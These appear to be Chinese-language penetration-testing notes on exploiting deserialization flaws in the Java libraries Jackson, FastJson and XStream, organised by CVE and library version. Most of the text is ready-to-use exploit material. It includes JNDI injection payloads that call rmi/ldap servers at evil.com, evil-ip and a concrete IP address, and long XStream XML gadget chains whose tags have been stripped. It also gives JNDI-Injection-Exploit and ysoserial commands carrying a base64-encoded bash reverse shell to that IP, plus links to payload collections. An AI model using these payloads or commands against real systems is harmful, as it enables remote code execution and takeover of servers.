知识点服务攻防-Java组件-数据处理FastJsonJackSonXStream黑盒检测1、Java应用2、请求参数数据以json/xml格式发送测试3、Content-Type: application/xml 或 json4、报错提示到了使用的组件类名白盒检测直接看引用组件版本一、演示案例-服务攻防-Java组件-数据处理J2EE组件JackSon当下流行的json解释器主要负责处理Json的序列化和反序列化。1、代码执行 CVE-2020-8840影响版本2.0.0 FasterXML jackson-databind Version 2.9.10.2String json[\org.apache.xbean.propertyeditor.JndiConverter\, {\asText\:\ldap://localhost:1389/Exploit\}];2、代码执行 CVE-2020-35728影响版本:FasterXML jackson-databind 2.x 2.9.10.8String payload[\com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\,{\jndiPath\:\rmi://47.94.236.117:1099/gtaafz\}];二、演示案例-服务攻防-Java组件-数据处理J2EE组件FastJson阿里巴巴公司开源的json解析器它可以解析JSON格式的字符串支持将JavaBean序列化为JSON字符串也可以从JSON字符串反序列化到JavaBean。重点就是不同版本的fastjson不同的poc。1、FastJson 1.2.24{b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://evil.com:9999/TouchFile,autoCommit:true}}2、FastJson 1.2.47{a:{type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl},b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://evil.com:9999/Exploit,autoCommit:true}}3、FastJson 1.2.80(利用条件比较苛刻)利用poc只能用源码项目中调用的第三方库或者组件(类)等。在实战中获取目标项目源码后看下调用的第三方库或者组件有哪些然后在利用poc项目去找对应的POC去测试看看(机会不大)。利用POChttps://github.com/kezibei/fastjson_payload该项目是针对不同环境的4、核心点-利用POC集合 https://github.com/kezibei/fastjson_payload https://mp.weixin.qq.com/s/t8sjv0Zg8_KMjuW4t-bE-w -探针JSON插件 https://github.com/Tsojan/TsojanScan https://github.com/Maskhe/FastjsonScan https://github.com/pmiaowu/BurpFastJsonScan https://github.com/Niiiiko/FastjsonScan4Burp -拓展版靶场复现 https://github.com/lemono0/FastJsonParty三、演示案例-服务攻防-Java组件-数据处理J2EE组件XStream开源Java类库能将对象序列化成XML或XML反序列化为对象。1、代码执行 CVE-2021-21351影响版本Xstream1.4.15生成反弹Shell的JNDI注入java-jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar-Cbash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ}|{base64,-d}|{bash,-i}-A47.94.236.117构造JNDI注入Payload以POST方式提交。sorted-setjavax.naming.ldap.Rdn_-RdnEntrytypeysomap/typevalueclasscom.sun.org.apache.xpath.internal.objects.XRTreeFragm__DTMXRTreeFragm__dtmclasscom.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTMm__size-10086/m__sizem__mgrDefault__overrideDefaultParserfalse/__overrideDefaultParserm__incrementalfalse/m__incrementalm__source__locationfalse/m__source__locationm__dtmsnull//m__dtmsm__defaultHandler//m__mgrDefaultm__shouldStripWSfalse/m__shouldStripWSm__indexingfalse/m__indexingm__incrementalSAXSourceclasscom.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_XercesfPullParserConfigclasscom.sun.rowset.JdbcRowSetImplserializationcustomjavax.sql.rowset.BaseRowSetdefaultconcurrency1008/concurrencyescapeProcessingtrue/escapeProcessingfetchDir1000/fetchDirfetchSize0/fetchSizeisolation2/isolationmaxFieldSize0/maxFieldSizemaxRows0/maxRowsqueryTimeout0/queryTimeoutreadOnlytrue/readOnlyrowSetType1004/rowSetTypeshowDeletedfalse/showDeleteddataSourcermi://evil-ip:1099/example/dataSourcelisteners/params//default/javax.sql.rowset.BaseRowSetcom.sun.rowset.JdbcRowSetImpldefault//com.sun.rowset.JdbcRowSetImpl/fPullParserConfigfConfigSetInputclasscom.sun.rowset.JdbcRowSetImpl/classnamesetAutoCommit/nameparameter-typesclassboolean/class/parameter-types/fConfigSetInputfConfigParsereference../fConfigSetInput/fParseInProgressfalse/fParseInProgress/m__incrementalSAXSourcem__walkernextIsRawfalse/nextIsRaw/m__walkerm__endDocumentOccuredfalse/m__endDocumentOccuredm__idAttributes/m__textPendingStart-1/m__textPendingStartm__useSourceLocationPropertyfalse/m__useSourceLocationPropertym__pastFirstElementfalse/m__pastFirstElement/m__dtmm__dtmIdentity1/m__dtmIdentity/m__DTMXRTreeFragm__dtmRoot1/m__dtmRootm__allowReleasefalse/m__allowRelease/value/javax.naming.ldap.Rdn_-RdnEntryjavax.naming.ldap.Rdn_-RdnEntrytypeysomap/typevalueclasscom.sun.org.apache.xpath.internal.objects.XStringm__objclassstringtest/m__obj/value/javax.naming.ldap.Rdn_-RdnEntry/sorted-set2、代码执行 CVE-2021-29505影响版本XStream 1.4.16生成反弹Shell的反序列化JNDI注入java-cpysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener1099CommonsCollections6bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ}|{base64,-d}|{bash,-i}构造反序列化JNDI注入Payload以POST方式提交java.util.PriorityQueueserializationcustomunserializable-parents/java.util.PriorityQueuedefaultsize2/size/defaultint3/intjavax.naming.ldap.Rdn_-RdnEntrytype12345/typevalueclasscom.sun.org.apache.xpath.internal.objects.XStringm__objclassstringcom.sun.xml.internal.ws.api.message.Packet2002fc1d Content/m__obj/value/javax.naming.ldap.Rdn_-RdnEntryjavax.naming.ldap.Rdn_-RdnEntrytype12345/typevalueclasscom.sun.xml.internal.ws.api.message.Packetserializationcustommessageclasscom.sun.xml.internal.ws.message.saaj.SAAJMessageparsedMessagetrue/parsedMessagesoapVersionSOAP_11/soapVersionbodyParts/smclasscom.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1ImplattachmentsInitializedfalse/attachmentsInitializednullIterclasscom.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIteratoraliasesclasscom.sun.jndi.toolkit.dir.LazySearchEnumerationImplcandidatesclasscom.sun.jndi.rmi.registry.BindingEnumerationnamesstringaa/stringstringaa/string/namesctxenvironment/registryclasssun.rmi.registry.RegistryImpl_Stubserializationcustomjava.rmi.server.RemoteObjectstringUnicastRef/stringstringevil-ip/stringint1099/intlong0/longint0/intlong0/longshort0/shortbooleanfalse/boolean/java.rmi.server.RemoteObject/registryhostevil-ip/hostport1099/port/ctx/candidates/aliases/nullIter/sm/message/value/javax.naming.ldap.Rdn_-RdnEntry/java.util.PriorityQueue/java.util.PriorityQueue